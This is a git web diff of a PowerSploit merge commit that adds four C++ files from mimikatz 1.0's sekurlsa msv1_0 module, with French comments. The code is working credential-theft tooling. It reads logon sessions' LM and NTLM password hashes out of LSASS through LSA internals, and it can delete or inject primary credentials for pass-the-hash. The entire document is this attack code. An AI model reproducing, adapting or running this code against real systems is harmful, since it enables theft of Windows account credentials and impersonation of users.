diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2013-10-01 14:29:34 -0700 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2013-10-01 14:29:34 -0700 |
commit | 6ad050fe7a54ae7c47fda4505043df8efd82bc2e (patch) | |
tree | 9c99d9aa042a4752991cfe8f0069c9a4823c8d42 /Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages | |
parent | 23850a6337bf79d02f68912e49df12f3cde4a8dd (diff) | |
parent | 59cd18360764af6e6133ad11ec9cd8295372e587 (diff) | |
download | PowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.tar.gz PowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.zip |
Merge pull request #15 from clymb3r/master
Adding GitIgnore, adding Invoke-NinjaCopy and Invoke-Mimikatz
Diffstat (limited to 'Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages')
4 files changed, 250 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp new file mode 100644 index 0000000..b429e5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp @@ -0,0 +1,153 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" + +bool searchMSVFuncs() +{ + if(!MSV1_0_MspAuthenticationPackageId) + MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3; + return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0)); +} + +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + unsigned short reservedSize = 0; + PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL; + if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize))) + { + wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword)); + + if(justSecurity) + maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + maReponse << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds); + } + else maReponse << L"n.t. (LUID KO)"; + } + else maReponse << L"n.a. (msv KO)"; + + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2) + { + wstring idSecAppHigh = L"0"; + wstring idSecAppLow = mesArguments->front(); + if(mesArguments->size() > 1) + { + idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back(); + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + if(idApp.LowPart != 0 || idApp.HighPart != 0) + maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des données de sécurité réussie :)" : L"Suppression des données de sécurité en échec :("); + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream maReponse; + if(searchMSVFuncs()) + { + if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6) + { + MSV1_0_PRIMARY_CREDENTIAL kiwicreds; + RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL)); + + wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back(); + kiwicreds.LmPasswordPresent = FALSE; + kiwicreds.NtPasswordPresent = TRUE; + + switch(mesArguments->size()) // méchants arguments utilisateurs + { + case 4: + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + break; + case 6: + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(4); + break; + case 5: + if(mesArguments->at(3).size() == 0x20) + { + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(3); + } + else + { + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + } + break; + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + + if(idApp.LowPart != 0 || idApp.HighPart != 0) + { + if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN) + { + mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName); + mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine); + if(kiwicreds.LmPasswordPresent) + mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword); + mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword); + + maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de données de sécurité réussie :)" : L"Injection de données de sécurité en échec :("); + } + else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractères, le nom d\'utilisateur et le domaine/poste au maximum 22 caractères"; + } + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h new file mode 100644 index 0000000..4749573 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h @@ -0,0 +1,16 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" +#include "msv1_0_helper.h" + +bool searchMSVFuncs(); +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp new file mode 100644 index 0000000..7ccb8e5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp @@ -0,0 +1,53 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0_helper.h" +DWORD MSV1_0_MspAuthenticationPackageId = 0; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress))); +} + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize) +{ + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName); + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName); + CredentialString.Buffer = reinterpret_cast<char *>(Credential); + CredentialString.MaximumLength = CredentialString.Length = CredentialSize; + SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length); + return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString ); +} + +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize) +{ + ULONG QueryContext = 0, PrimaryKeyLength; + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString); + if(NT_SUCCESS(retour)) + { + SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length); + *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer; + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false); + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false); + if (CredentialSize) + *CredentialSize = CredentialString.Length; + } + return retour; +} + +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId) +{ + STRING PrimaryKeyValue; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h new file mode 100644 index 0000000..e9afd03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h @@ -0,0 +1,28 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +#define MSV1_0_PRIMARY_KEY "Primary" +extern DWORD MSV1_0_MspAuthenticationPackageId; + +typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; +} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize); +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize); +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId); |